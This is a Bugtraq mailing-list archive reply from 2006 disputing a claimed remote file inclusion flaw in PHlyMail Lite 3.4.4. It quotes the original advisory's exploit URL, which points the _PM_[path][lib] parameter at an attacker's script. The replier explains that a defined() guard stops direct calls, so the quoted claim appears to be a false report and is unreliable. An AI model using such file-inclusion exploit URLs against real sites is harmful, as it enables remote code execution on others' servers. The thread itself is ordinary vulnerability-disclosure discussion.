Bugtraq mailing list archives
Re: PHlyMail Lite [PM_[path][lib]=] Remote File Include Vulnerability
From: "Carsten Eilers" <ceilers-lists () gmx de>
Date: Thu, 24 Aug 2006 00:51:34 +0200
Hi, D3nGeR () Gmail CoM schrieb am Fri, 18 Aug 2006 21:52:51 +0000:
************************************* ********************************************* *PHlyMail Lite [PM_[path][lib]=] Remote File Include Vulnerability * *------------------------------------ ------------------------------------------------------------------ * - [Script name: PHlyMail Lite v. 3.4.4 ] * - [Script site: http://phlymail.de ] *------------------------------------ * Exploit: * * http://www.site.com/[phlymail_path]/handlers/email/mod.output.php? _PM_[path][lib]=[evil scripit] *
At the top of this script you find | if (!defined('_IN_PHM_')) die(); So if you call it direct, which hat to be done to manipulate _PM_[path][lib], it will die without any code-execution after this line. Regards Carsten -- Dipl.-Inform. Carsten Eilers IT-Sicherheit und Datenschutz <http://www.ceilers-it.de>
Current thread:
- PHlyMail Lite [PM_[path][lib]=] Remote File Include Vulnerability D3nGeR (Aug 22)
- Re: PHlyMail Lite [PM_[path][lib]=] Remote File Include Vulnerability Carsten Eilers (Aug 24)